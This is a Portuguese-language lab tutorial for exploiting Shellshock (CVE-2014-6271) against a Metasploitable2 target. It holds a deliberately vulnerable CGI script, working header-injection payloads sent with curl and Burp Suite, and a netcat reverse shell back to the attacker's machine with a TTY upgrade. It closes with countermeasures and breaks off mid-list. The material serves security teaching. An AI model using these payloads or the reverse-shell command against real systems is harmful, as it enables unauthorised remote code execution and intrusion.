Explorando o Shellshock (CVE-2014-6271): Um Laboratório de Demonstração Completo e Moderno

Shellshock (CVE-2014-6271) é uma das vulnerabilidades de execução remota de código mais influentes já descobertas. A falha afeta o Bash e permite que atacantes executem comandos arbitrários simplesmente injetando payloads manipulados em variáveis de ambiente.

Este guia fornece uma demonstração completa e reproduzível usando:

• Kali Linux (atacante)
• Metasploitable2 (alvo)
• curl, Burp Suite, Netcat
• Um script CGI baseado em Bash criado manualmente

É projetado para ensino, pesquisa, treinamento e conscientização geral sobre segurança cibernética.

---

📌 Índice

1. Arquitetura do Laboratório
2. Criação do Script CGI Vulnerável
3. Entendendo a Vulnerabilidade Shellshock
4. Explorando Shellshock com curl
5. Explorando Shellshock com Burp Suite
6. Reverse Shell via Shellshock
7. Atualizando para um TTY Totalmente Interativo
8. Diagrama da Cadeia de Ataque
9. Galeria de Capturas de Tela
10. Contramedidas
11. Folha de Dicas (Todos os Comandos)
12. Explorando Shellshock Usando Metasploit
13. Conclusão

---

1. Arquitetura do Laboratório

Componente	Função	SO	Endereço IP	Serviços Chave
Kali Linux	Atacante	Kali Linux (última)	192.168.1.4	curl, Burp Suite, Netcat
Metasploitable2	Servidor vulnerável alvo	Ubuntu Linux (MSF2)	192.168.1.5	Apache 2.2, scripts CGI, Bash
Apache mod_cgi	Execução de scripts	Executado no MSF2	n/a	Expõe Bash via CGI
shellshock.sh	Ponto de entrada vulnerável	Bash CGI	n/a	Exibe variáveis de ambiente

Esta configuração simples de dois nós reflete muitas implantações legadas ainda presentes em sistemas industriais e IoT.

---

2. Criação do Script CGI Vulnerável

No Metasploitable2:

sudo su
cd /usr/lib/cgi-bin/

cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF

chmod +x shellshock.sh
a2enmod cgi
service apache2 restart

Teste o script a partir do Kali:

curl http://192.168.1.5/cgi-bin/shellshock.sh

Você deve ver as variáveis de ambiente exibidas.

---

3. Entendendo a Vulnerabilidade Shellshock

O Shellshock ocorre quando o Bash analisa incorretamente variáveis de ambiente que se assemelham a definições de função.

Uma variável maliciosa como:

() { :; }; /bin/bash -c "id"

fará com que o Bash execute o comando após a definição da função — mesmo que a função nunca seja invocada.

Aplicações CGI são especialmente vulneráveis porque os cabeçalhos HTTP são automaticamente passados para os scripts como variáveis de ambiente.

---

4. Explorando Shellshock com curl

curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh

A saída deve incluir:

Vulnerable
uid=33(www-data)

Isso confirma a execução remota de código.

---

5. Explorando Shellshock com Burp Suite

5.1 Enviar Requisição Normal

Visite:

http://192.168.1.5/cgi-bin/shellshock.sh

Envie a requisição para o Repeater.

5.2 Injetar Payload Shellshock

Substitua o cabeçalho User-Agent por:

User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"

5.3 Resposta

Você deve ver:

BurpTest
uid=33(www-data)

O Burp Suite confirma a vulnerabilidade de forma visual e educacional.

---

6. Reverse Shell via Shellshock

Inicie o listener no Kali:

nc -lvnp 4444

Dispare o reverse shell através do script CGI:

curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh

Um shell se conectará de volta ao Kali.

---

7. Atualizando para um TTY Totalmente Interativo

Dentro do reverse shell:

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Suspenda a sessão:

Ctrl + Z

No Kali:

stty raw -echo; fg

Pressione Enter.

Você agora tem:

• autocompletar com tab
• teclas de seta
• controle de jobs
• Bash interativo completo

---

8. Diagrama da Cadeia de Ataque

          ┌────────────────────────┐
          │   Atacante (Kali)      │
          │      192.168.1.4       │
          └───────────┬────────────┘
                      │
     1. Cabeçalho HTTP Malicioso (Shellshock)
                      │
                      ▼
        ┌──────────────────────────┐
        │ Servidor Web Apache (CGI)│
        │     192.168.1.5          │
        └───────────┬──────────────┘
                    │
   2. Cabeçalho → Variável de Ambiente CGI
                    │
                    ▼
      ┌──────────────────────────┐
      │   Bash (Vulnerável)      │
      └───────────┬──────────────┘
                  │
      3. Comando Injetado Executa
                  │
                  ▼
        ┌─────────────────────────┐
        │  Acesso ao shell www-data│
        └───────────┬─────────────┘
                    │
        4. Reverse Shell → Kali
                    │
                    ▼
      ┌──────────────────────────┐
      │ TTY Interativo Completo  │
      └──────────────────────────┘

---

9. Galeria de Capturas de Tela

Uma demonstração visual das principais etapas do ataque.

Descrição	Imagem
Varredura Nmap + saída do teste Shellshock
Burp Suite – Requisição Shellshock inicial
Burp Suite – Injeção de payload/cabeçalho
Reverse shell recebido no Kali (nc)

---

10. Contramedidas

✔ 1. Atualizar o Bash

Aplicar patch para uma versão que trate corretamente a análise de funções.

✔ 2. Desabilitar CGI

CGI legado introduz risco sistêmico desnecessário.

✔ 3. Sanitizar Cabeçalhos HTTP

Descartar padrões suspeitos como:

() { :; };

✔ 4. Usar Menor Privilégio

Restringir permissões do usuário do servidor web (www-data).

✔ 5. Restrições de Conexão de Saída

Impede reverse shells e exfiltração de dados.

✔ 6. Implantar um Firewall de Aplicação Web (WAF)

Assinaturas modernas de WAF detectam Shellshock imediatamente.

✔ 7. Ativar SELinux / AppArmor

Contém processos Bash e bloqueia comportamentos não intencionais.

✔ 8. Executar Varreduras Regulares de Vulnerabilidades

Usar ferramentas como: